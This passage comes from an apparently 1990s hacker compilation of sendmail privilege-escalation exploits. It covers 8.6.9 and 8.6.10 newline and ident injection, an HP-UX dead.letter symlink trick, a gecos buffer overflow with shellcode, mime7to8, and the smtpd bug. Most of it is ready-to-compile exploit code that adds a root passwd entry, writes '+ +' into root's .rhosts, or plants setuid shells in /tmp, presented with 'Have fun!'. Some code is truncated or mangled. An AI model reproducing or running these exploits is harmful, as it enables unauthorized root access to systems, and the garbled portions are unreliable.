  2278. X    buf[i] = '\0';
  2279.  
  2280. X}
  2281.  
  2282. X
  2283.  
  2284. Xdie(str)
  2285.  
  2286. Xchar *str;
  2287.  
  2288. X{
  2289.  
  2290. X    perror(str); exit(1);
  2291.  
  2292. X}
  2293.  
  2294. X
  2295.  
  2296. Xmain()
  2297.  
  2298. X{
  2299.  
  2300. X    int s, s2, adlen;
  2301.  
  2302. X    struct sockaddr_in ad;
  2303.  
  2304. X    char buf[60];
  2305.  
  2306. X
  2307.  
  2308. X    ad.sin_family = AF_INET;
  2309.  
  2310. X    ad.sin_port = htons(113);
  2311.  
  2312. X    ad.sin_addr.s_addr = INADDR_ANY;
  2313.  
  2314. X    if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
  2315.  
  2316. X    if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
  2317.  
  2318. X    if(listen(s, 1) == -1) die("listen");
  2319.  
  2320. X    adlen = sizeof(ad);
  2321.  
  2322. X    s2 = accept(s, (struct sockaddr *)&ad, &adlen);
  2323.  
  2324. X    if(s2 == -1) die("accept");
  2325.  
  2326. X    printf("Connection from %s port %d\n",
  2327.  
  2328. X        inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
  2329.  
  2330. X    readline(s2, buf, 50);
  2331.  
  2332. X    sprintf(buf + strlen(buf), " : %s\n", REPLY);
  2333.  
  2334. X    write(s2, buf, strlen(buf));
  2335.  
  2336. X}
  2337.  
  2338. X_END_
  2339.  
  2340. X
  2341.  
  2342. X# compile program
  2343.  
  2344. Xecho "compiling"
  2345.  
  2346. Xcc a.c -o ident
  2347.  
  2348. Xecho "running fake ident"
  2349.  
  2350. X./ident &
  2351.  
  2352. X
  2353.  
  2354. X# send to reomte
  2355.  
  2356. Xecho "talking to remote"
  2357.  
  2358. X(
  2359.  
  2360. X  sleep 1; echo "helo"
  2361.  
  2362. X  sleep 1; echo "mail from: "
  2363.  
  2364. X  sleep 1; echo "rcpt to: "
  2365.  
  2366. X  sleep 1; echo "data"
  2367.  
  2368. X  echo "$COMMANDS"
  2369.  
  2370. X  echo "."
  2371.  
  2372. X  sleep 1; echo "quit"
  2373.  
  2374. X  sleep 5
  2375.  
  2376. X) | telnet $TARGET 25
  2377.  
  2378. X
  2379.  
  2380. X# cleanup
  2381.  
  2382. Xcd /
  2383.  
  2384. Xrm -rf $TD
  2385.  
  2386. Xecho "done."
  2387.  
  2388. X
  2389.  
  2390. END-of-sm869.remote
  2391.  
  2392. exit
  2393.  
  2394. .................................. CuT HeRe ..................................
  2395.  
  2396. 8.6.9 newlines = 8.6.9 =
  2397.  
  2398. When a message is queued for delivery by sendmail, a pair of files are
  2399. written to the spool directory (/var/spool/mqueue on many systems). One of
  2400. these files (qf<something>) contains information related to the processing
  2401. of the message (headers, sender, recipient, etc.). Taking versions of
  2402. sendmail prior to 8.6.10 as an example, one of the pieces of information
  2403. maintained in this file is the name of the controlling user if mail is
  2404. being delivered to a script (or file). By feeding sendmail a recipient
  2405. address that contains newlines, it is possible to add lines to the queue
  2406. file which specify a controlling user and an executable to run with that
  2407. users access level. The 8.6.10 patch removes this hole, by stripping
  2408. newlines from the recipient address before writing the queue file.
  2409.  
  2410. EXPLOIT:
  2411.  
  2412. /* smh.c - Michael R. Widner - atreus (2/27/95)
  2413.  
  2414.  *
  2415.  
  2416.  * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
  2417.  
  2418.  * hole.  It's really just a matter of passing newlines in arguments to
  2419.  
  2420.  * sendmail and getting the stuff into the queue files.  If we run this
  2421.  
  2422.  * locally with -odq we are guaranteed that it will be queue, rather than
  2423.  
  2424.  * processed immediately.  Wait for the queue to get processed automatically
  2425.  
  2426.  * or just run sendmail -q if you're impatient.
  2427.  
  2428.  * usage: smh [ username [/path/to/sendmail]]
  2429.  
  2430.  * It's worth noting that this is generally only good for getting bin.
  2431.  
  2432.  * sendmail still wants to process the sendmail.cf file, which contains
  2433.  
  2434.  * Ou1 and Og1 most of the time, limiting you to bin access.  Is there
  2435.  
  2436.  * a way around this?
  2437.  
  2438.  * cc -o smh smh.c should do the trick.  This just creates a bin owned
  2439.  
  2440.  * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some
  2441.  
  2442.  * systems this is pretty much worthless, but you're smart enough to know
  2443.  
  2444.  * which systems those are.  Aren't you?
  2445.  
  2446.  */
  2447.  
  2448. #include <sys/types.h>
  2449.  
  2450. #include <unistd.h>
  2451.  
  2452. #include <stdlib.h>
  2453.  
  2454. main(argc, argv)
  2455.  
  2456. int argc;
  2457.  
  2458. char **argv;
  2459.  
  2460. {
  2461.  
  2462.         execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
  2463.  
  2464.         "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal,
  2465.  
  2466. P=/bin/sh, F=lsDFMeu,
  2467.  
  2468. A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777
  2469.  
  2470. /tmp/newsh\">\n$rascii ",
  2471.  
  2472.         argv[1] ? argv[1] : "atreus",0);
  2473.  
  2474. }
  2475.  
  2476. ................................ CuT HeRe ..................................
  2477.  
  2478. 8.6.10 ident/newlines = 8.6.10 =
  2479.  
  2480. This is a sendmail 8.6.10 attack based on the problems that sendmail 8.6.10
  2481. inherited from sendmail 8.6.9 .... Look at comments in the source. Two
  2482. exploits follow:
  2483.  
  2484. /* 8.6.10 sendmail attacker
  2485.  
  2486.  *
  2487.  
  2488.  * gcc ident.c -o ident
  2489.  
  2490.  * add the following line to your /etc/inetd.conf:
  2491.  
  2492.  * ident  stream tcp  nowait  root  /tmp/ident  in.identd
  2493.  
  2494.  * then kill -HUP inetd
  2495.  
  2496.  *
  2497.  
  2498.  * Not for not public use or disclosure.
  2499.  
  2500.  *
  2501.  
  2502.  * This is a sendmail 8.6.10 attack based on the problems that
  2503.  
  2504.  * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting
  2505.  
  2506.  * information given to it by identd, which included bogus characters
  2507.  
  2508.  * and newlines that it later appended to the queue file.  Sendmail 8.6.10
  2509.  
  2510.  * supposedly "strips" newlines before they are written, however, it
  2511.  
  2512.  * converts them to spaces, and the following code demonstrates that
  2513.  
  2514.  * quick work-around patches are never ever stable...
  2515.  
  2516.  *
  2517.  
  2518.  * NOTES:  This hack only works when sendmail queues up the message for
  2519.  
  2520.  * later delivery.  This depends on the configuration of sendmail.cf and
  2521.  
  2522.  * on the machine loading.  If you can do something to drag the machine to
  2523.  
  2524.  * its knees, then fire off this attack, you stand a much better chance of
  2525.  
  2526.  * success.
  2527.  
  2528.  *
  2529.  
  2530.  * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
  2531.  
  2532.  * default user to bin.bin), this exploit will not work.
  2533.  
  2534.  *
  2535.  
  2536.  * Also, since this only works when sendmail queues up the message for
  2537.  
  2538.  * later delivery, the time of execution is dependant on how sendmail
  2539.  
  2540.  * has been configured in sendmail.cf and machine load.  Heavily loaded
  2541.  
  2542.  * machines (or machines that have been intentionally flooded) have a
  2543.  
  2544.  * greater possibility of this exploit working.
  2545.  
  2546.  *
  2547.  
  2548.  */
  2549.  
  2550. #include <sys/types.h>
  2551.  
  2552. #include <sys/fcntl.h>
  2553.  
  2554. #include <sys/time.h>
  2555.  
  2556. #include <stdio.h>
  2557.  
  2558. #include <stdlib.h>
  2559.  
  2560. #include <string.h>
  2561.  
  2562. #include <unistd.h>
  2563.  
  2564. /* TIMEOUT is the number of seconds to wait before closing the connection if
  2565.  
  2566.  * the client doesn't provide the port pairs.
  2567.  
  2568.  */
  2569.  
  2570. #define TIMEOUT 120
  2571.  
  2572. /* PROCINFO_BUFFER_SIZE must be bigger than 80 */
  2573.  
  2574. #define OUTPUT_BUFFER_SIZE 2048
  2575.  
  2576. #define SOCKET_BUFFER_SIZE 100
  2577.  
  2578. unsigned short lport = 0, rport = 0;
  2579.  
  2580. void
  2581.  
  2582. main ()
  2583.  
  2584. {
  2585.  
  2586.     unsigned long here, there;
  2587.  
  2588.     struct fd_set fdset;
  2589.  
  2590.     struct timeval timeout;
  2591.  
  2592.     char buffer[OUTPUT_BUFFER_SIZE];
  2593.  
  2594.     char inbuffer[SOCKET_BUFFER_SIZE];
  2595.  
  2596.     int len;
  2597.  
  2598.     int fd;
  2599.  
  2600.     FD_ZERO (&fdset);
  2601.  
  2602.     FD_SET (0, &fdset);
  2603.  
  2604.     timeout.tv_sec = TIMEOUT;
  2605.  
  2606.     timeout.tv_usec = 0;
  2607.  
  2608.     select (1, &fdset, NULL, NULL, &timeout);
  2609.  
  2610.     len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
  2611.  
  2612.     if (len <= 0)
  2613.  
  2614.     exit (0);
  2615.  
  2616.     FD_SET (0, &fdset);
  2617.  
  2618.     sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
  2619.  
  2620.     "Croot\r\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nMlocal,
  2621.  
  2622.     P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nR<\"|/bin/echo toor::0:1:toor:/:/bin/csh
  2623.  
  2624.  >> /etc/passwd\">\r\nR<\"|/usr/bin/chmod 4755 /usr/bin/time\");
  2625.  
  2626.     write (1, buffer, strlen (buffer));
  2627.  
  2628.     exit (0);
  2629.  
  2630. }
  2631.  
  2632. ................................ CuT HeRe ..................................
  2633.  
  2634. Second Exploit follows:
  2635.  
  2636. /* 8.6.10 sendmail attacker
  2637.  
  2638.  *
  2639.  
  2640.  * gcc ident.c -o ident
  2641.  
  2642.  * add the following line to your /etc/inetd.conf:
  2643.  
  2644.  * ident  stream tcp  nowait  root  /tmp/ident  in.identd
  2645.  
  2646.  * then kill -HUP inetd
  2647.  
  2648.  *
  2649.  
  2650.  * Not for not public use or disclosure.
  2651.  
  2652.  *
  2653.  
  2654.  * This is a sendmail 8.6.10 attack based on the problems that
  2655.  
  2656.  * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting
  2657.  
  2658.  * information given to it by identd, which included bogus characters
  2659.  
  2660.  * and newlines that it later appended to the queue file.  Sendmail 8.6.10
  2661.  
  2662.  * supposedly "strips" newlines before they are written, however, it
  2663.  
  2664.  * converts them to spaces, and the following code demonstrates that
  2665.  
  2666.  * quick work-around patches are never ever stable...
  2667.  
  2668.  *
  2669.  
  2670.  * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
  2671.  
  2672.  * default user to bin.bin), this exploit will not work.
  2673.  
  2674.  *
  2675.  
  2676.  * Also, since this only works when sendmail queues up the message for
  2677.  
  2678.  * lar delivery, the time of execution is dependant on how sendmail
  2679.  
  2680.  * has been configured in sendmail.cf and machine load.  Heavily loaded
  2681.  
  2682.  * machines (or machines that have been intentionally flooded) have a
  2683.  
  2684.  * greater possibility of this exploit working.
  2685.  
  2686.  *
  2687.  
  2688.  */
  2689.  
  2690. #include <sys/types.h>
  2691.  
  2692. #include <sys/fcntl.h>
  2693.  
  2694. #include <sys/time.h>
  2695.  
  2696. #include <stdio.h>
  2697.  
  2698. #include <stdlib.h>
  2699.  
  2700. #include <string.h>
  2701.  
  2702. #include <unistd.h>
  2703.  
  2704. /* TIMEOUT is the number of seconds to wait before closing the connection if
  2705.  
  2706.  * the client doesn't provide the port pairs.
  2707.  
  2708.  */
  2709.  
  2710. #define TIMEOUT 120
  2711.  
  2712. /* PROCINFO_BUFFER_SIZE must be bigger than 80 */
  2713.  
  2714. #define OUTPUT_BUFFER_SIZE 2048
  2715.  
  2716. #define SOCKET_BUFFER_SIZE 100
  2717.  
  2718. unsigned short lport = 0, rport = 0;
  2719.  
  2720. void
  2721.  
  2722. main ()
  2723.  
  2724. {
  2725.  
  2726.     unsigned long here, there;
  2727.  
  2728.     struct fd_set fdset;
  2729.  
  2730.     struct timeval timeout;
  2731.  
  2732.     char buffer[OUTPUT_BUFFER_SIZE];
  2733.  
  2734.     char inbuffer[SOCKET_BUFFER_SIZE];
  2735.  
  2736.     int len;
  2737.  
  2738.     int fd;
  2739.  
  2740.     FD_ZERO (&fdset);
  2741.  
  2742.     FD_SET (0, &fdset);
  2743.  
  2744.     timeout.tv_sec = TIMEOUT;
  2745.  
  2746.     timeout.tv_usec = 0;
  2747.  
  2748.     select (1, &fdset, NULL, NULL, &timeout);
  2749.  
  2750.     len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
  2751.  
  2752.     if (len <= 0)
  2753.  
  2754.     exit (0);
  2755.  
  2756.     FD_SET (0, &fdset);
  2757.  
  2758.     sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
  2759.  
  2760.     "Croot\t\t\t\t\t\t\tMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\t
  2761.  
  2762.     Mlocal,
  2763.  
  2764.     P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\tR<\"|/bin/echo toor::0:1:toor:/:
  2765.  
  2766. /bin/csh >> /etc/passwd\">\t\t\tR<\"|/usr/bin/chmod 4755 /usr/bin/time\">\r\n
  2767.  
  2768.     $rascii done");
  2769.  
  2770.     write (1, buffer, strlen (buffer));
  2771.  
  2772.     exit (0);
  2773.  
  2774. }
  2775.  
  2776.  
  2777.  
  2778. ................................ CuT HeRe ..................................
  2779.  
  2780. HP-UX = HP-UX 9.x =
  2781.  
  2782. #!/bin/sh
  2783.  
  2784. # This works on virgin HPUX 9.x sendmail.cf
  2785.  
  2786. # The link can be set to any file on the system, it will append the contents
  2787.  
  2788. # of the email to the linked file (/etc/passwd, /etc/hosts.equiv, /.rhosts)..
  2789.  
  2790. # - sirsyko
  2791.  
  2792. r00tDIR=`grep root /etc/passwd |cut -f6 -d:`
  2793.  
  2794. RunDMC=`hostname`
  2795.  
  2796. if [ -f /tmp/dead.letter ]; then rm /tmp/dead.letter
  2797.  
  2798. fi
  2799.  
  2800. if [ -f /tmp/dead.letter ]; then
  2801.  
  2802.  echo "Sorry, aint gonna work"
  2803.  
  2804.  exit
  2805.  
  2806. fi
  2807.  
  2808. ln -s  ${r00tDIR}/.rhosts /tmp/dead.letter
  2809.  
  2810. (
  2811.  
  2812. sleep 1
  2813.  
  2814. echo "helo"
  2815.  
  2816. echo "mail from: noone"
  2817.  
  2818. echo "rcpt to: noone@bounce"
  2819.  
  2820. echo "data"
  2821.  
  2822. echo "+ +"
  2823.  
  2824. echo "."
  2825.  
  2826. sleep 3
  2827.  
  2828. echo "quit"
  2829.  
  2830. ) | telnet ${RunDMC} 25
  2831.  
  2832. sleep 5
  2833.  
  2834. remsh ${RunDMC} -l root
  2835.  
  2836. ............... CuT HeRe ...............
  2837.  
  2838. What the r00t guys exploit does is just this:
  2839.  
  2840.    * creates a symbolic link to the target file (in this case '.rhosts' in
  2841.      root's directory) called '/tmp/dead.letter'.
  2842.    * Then sends a message (containing lines you want to append) to a
  2843.      non-existent user.
  2844.    * Sendmail is configured (as default) to append lines of non-recipient
  2845.      messages to '/tmp/dead.letter' and does it with root privileges. If
  2846.      '/tmp/dead.letter' is a symbolic link Sendmail will follow it and will
  2847.      overwrite the pre-existent file.
  2848.    * Probably if Sendmail configuration has been changed to make it behave
  2849.      in a different way, looking at the cf file could lead you to exploit
  2850.      the bug the same.
  2851.  
  2852. 8.7.5 gecos = 8.X.X <8.8.0 = TeSTed oN 8.6.12
  2853.  
  2854. This bug was pointed out by Mudge of L0pht on Bugtraq on Sept 1996,
  2855. excerpts follow:
  2856.  
  2857. A buffer overflow condition exists that allows a user to overwrite the
  2858. information in a saved stack frame. When the function returns, the saved
  2859. frame is popped off of the stack and user code can be executed. If a user
  2860. is able to alter his/her gecos field then that user can exploit a coding
  2861. flaw in sendmail to elevate their effective UID to 0.
  2862.  
  2863. The actual problem in the code is quite apparent.
  2864.  
  2865.      Inside recipient.c we find the following:
  2866.  
  2867.        char nbuf[MAXNAME + 1];
  2868.  
  2869.        ...
  2870.  
  2871.        buildfname(pw->pw_gecos, pw->pw_name, nbuf);
  2872.  
  2873. The problem is that nbuf[MAXNAME + 1] is a fixed length buffer and as we
  2874. will soon see, buildfname() does not honor this. [ ..... ]
  2875.  
  2876. This particular problem has been fixed in Sendmail 8.8 beta.
  2877.  
  2878. Here we have an example of exploit:
  2879.  
  2880. ------------------------------ Cut Here ------------------------------------
  2881.  
  2882. /*                               Hi !                                       */
  2883.  
  2884. /* This is exploit for sendmail bug (version 8.6.12 for FreeBSD 2.1.0).     */
  2885.  
  2886. /* If you have any problems with it, send letter to me.                     */
  2887.  
  2888. /*                             Have fun !                                   */
  2889.  
  2890. /* -----------------   Dedicated to my beautiful lady   ------------------  */
  2891.  
  2892. /* Leshka Zakharoff, 1996. E-mail: leshka@chci.chuvashia.su                 */
  2893.  
  2894. #include <stdio.h>
  2895.  
  2896. main()
  2897.  
  2898. {
  2899.  
  2900. void make_files();
  2901.  
  2902.      make_files();
  2903.  
  2904.      system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn;/usr/sbin/sendmail;e
  2905.  
  2906. cho See result in /tmp");
  2907.  
  2908. }
  2909.  
  2910. void make_files()
  2911.  
  2912.  {
  2913.  
  2914.   int i,j;
  2915.  
  2916.   FILE *f;
  2917.  
  2918.   char nop_string[200];
  2919.  
  2920.   char code_string[]=
  2921.  
  2922.                       {
  2923.  
  2924.                          "\xeb\x50"                         /* jmp
  2925.  
  2926. cont */
  2927.  
  2928. /* geteip: */            "\x5d"                             /* popl
  2929.  
  2930. %ebp */
  2931.  
  2932.                          "\x55"                             /* pushl
  2933.  
  2934. %ebp */
  2935.  
  2936.                          "\xff\x8d\xc3\xff\xff\xff"         /* decl
  2937.  
  2938. 0xffffffc3(%ebp) */
  2939.  
  2940.                          "\xff\x8d\xd7\xff\xff\xff"         /* decl
  2941.  
  2942. 0xffffffd7(%ebp) */
  2943.  
  2944.                          "\xc3"                             /* ret */
  2945.  
  2946. /* 0xffffffb4(%ebp): */ "cp /bin/sh /tmp"
  2947.  
  2948. /* 0xffffffc3(%ebp): */ "\x3c"
  2949.  
  2950.                         "chmod a=rsx /tmp/sh"
  2951.  
  2952. /* 0xffffffd7(%ebp): */ "\x01"
  2953.  
  2954.                         "-leshka-leshka-leshka-leshka-"    /* reserved */
  2955.  
  2956. /* cont:  */            "\xc7\xc4\x70\xcf\xbf\xef"         /* movl
  2957.  
  2958. $0xefbfcf70,%esp */
  2959.  
  2960.                         "\xe8\xa5\xff\xff\xff"             /* call
  2961.  
  2962. geteip */
  2963.  
  2964.                         "\x81\xc5\xb4\xff\xff\xff"         /* addl
  2965.  
  2966. $0xb4ffffff,%ebp */
  2967.  
  2968.                         "\x55"                             /* pushl  %ebp */
  2969.  
  2970.                         "\x55"                             /* pushl  %ebp */
  2971.  
  2972.                         "\x68\xd0\x77\x04\x08"             /* pushl
  2973.  
  2974. $0x80477d0
  2975.  
  2976.  */
  2977.  
  2978.                         "\xc3"                             /* ret */
  2979.  
  2980.                         "-leshka-leshka-leshka-leshka-"    /* reserved */
  2981.  
  2982.                         "\xa0\xcf\xbf\xef"
  2983.  
  2984.                      };
  2985.  
  2986.   j=269-sizeof(code_string);
  2987.  
  2988.   for(i=0;i\"$1\"\n");
  2989.  
  2990.   fprintf(f,"touch -t 2510711313 \"$1\"\n");
  2991.  
  2992.   fclose(f);
  2993.  
  2994. }
  2995.  
  2996. ................................ Cut Here ................................
  2997.  
  2998. mime7to8() = 8.8.0 =
  2999.  
  3000. An attacker can simply create a very large message in which each line ends
  3001. with "=" and use it to overwrite the sendmail process's stack. Here the bug
  3002. is only described... why doesn't someone write an exploit?!
  3003.  
  3004. There is a serious bug in the mime7to8() function of sendmail 8.8.0 which
  3005. allows anyone who can send you mail to execute arbitrary code as root on
  3006. your machine. I think mime7to8() only gets invoked if you set the
  3007. undocumented "9" mailer flag. However, this flag is set by default in the
  3008. cf/mailer/local.m4 file that ships with sendmail 8.8.0. Thus, if you are
  3009. using an old V6 format configuration file from sendmail 8.7, you are
  3010. probably safe, but if you generated a new V7 configuration file, you are
  3011. probably vulnerable to this bug.
  3012.  
  3013. Now here are the technical details:
  3014.  
  3015. The inner loop of mime7to8() looks like this:
  3016.  
  3017.         u_char *obp;
  3018.  
  3019.         char buf[MAXLINE];
  3020.  
  3021.         u_char obuf[MAXLINE];
  3022.  
  3023.         ....
  3024.  
  3025.                 /* quoted-printable */
  3026.  
  3027.                 obp = obuf;
  3028.  
  3029.                 while (fgets(buf, sizeof buf, e->e_dfp) != NULL)
  3030.  
  3031.                 {
  3032.  
  3033.                         if (mime_fromqp((u_char *) buf, &obp, 0, MAXLINE) == 0)
  3034.  
  3035.                                 continue;
  3036.  
  3037.                         putline((char *) obuf, mci);
  3038.  
  3039.                         obp = obuf;
  3040.  
  3041.                 }
  3042.  
  3043. When mime_fromqp() encounters a line that ends "=\n", it chops those two
  3044. characters off and returns 0 to indicate a continuation line. This causes
  3045. the while loop to continue, reading another input line and appending its
  3046. contents to obuf. However, when the loop continues without resetting obp to
  3047. obuf, there are fewer than MAXLINE characters left in the output buffer.
  3048. This means an attacker can simply create a very large message in which each
  3049. line ends with "=". Eventually obp will move beyond the end of obuf and
  3050. start writing almost arbitrary data to the sendmail process's stack (as
  3051. long as no bytes are 0).
  3052.  
  3053. smtpd = 8.7-8.8.2 =
  3054.  
  3055. Read the exploit and don't bother:
  3056.  
  3057. ------------------------------ Cut Here --------------------------------
  3058.  
  3059. #/bin/sh
  3060.  
  3061. #
  3062.  
  3063. #
  3064.  
  3065. #                                   Hi !
  3066.  
  3067. #                This is exploit for sendmail smtpd bug
  3068.  
  3069. #    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
  3070.  
  3071. #         This shell script does a root shell in /tmp directory.
  3072.  
  3073. #          If you have any problems with it, drop me a letter.
  3074.  
  3075. #                                Have fun !
  3076.  
  3077. #
  3078.  
  3079. #
  3080.  
  3081. #                           ----------------------
  3082.  
  3083. #               ---------------------------------------------
  3084.  
  3085. #    -----------------   Dedicated to my beautiful lady   ------------------
  3086.  
  3087. #               ---------------------------------------------
  3088.  
  3089. #                           ----------------------
  3090.  
  3091. #
  3092.  
  3093. #          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
  3094.  
  3095. #
  3096.  
  3097. #
  3098.  
  3099. #
  3100.  
  3101. echo   'main()                                                '>>leshka.c
  3102.  
  3103. echo   '{                                                     '>>leshka.c
  3104.  
  3105. echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
  3106.  
  3107. echo   '}                                                     '>>leshka.c
  3108.  
  3109. #
  3110.  
  3111. #
  3112.  
  3113. echo   'main()                                                '>>smtpd.c
  3114.  
  3115. echo   '{                                                     '>>smtpd.c
  3116.  
  3117. echo   '  setuid(0); setgid(0);                               '>>smtpd.c
  3118.  
  3119. echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
  3120.  
  3121. echo   '}                                                     '>>smtpd.c
  3122.  
  3123. #
  3124.  
  3125. #
  3126.  
  3127. cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
  3128.  
  3129. ./leshka
  3130.  
  3131. kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"
  3132.  
  3133. |head -n 1`
  3134.  
  3135. rm leshka.c leshka smtpd.c /tmp/smtpd
  3136.  
  3137. /tmp/sh
  3138.  
  3139. .............................. Cut Here ...................................
  3140.  
  3141.           |---------------------- Credits ----------------------|
  3142.  
  3143. All this info was mainly grabbed from:
  3144.  
  3145.    * Bugtraq
  3146.    * 8lgm
  3147.    * In***ax Digest
  3148.    * "Improving the Security of Your Site by Breaking Into it" By Dan
  3149.      Farmer & Wietse Venema
  3150.    * "Sendmail Bug Exploits List v.04b" By Per1com/Xer0
  3151.    * "Time For a Change" #1 'UNIX problems, for fun and exploit.' By Ghost
  3152.      in the Machine
  3153.  
  3154. ---------------------------------------------------------------------------
  3155.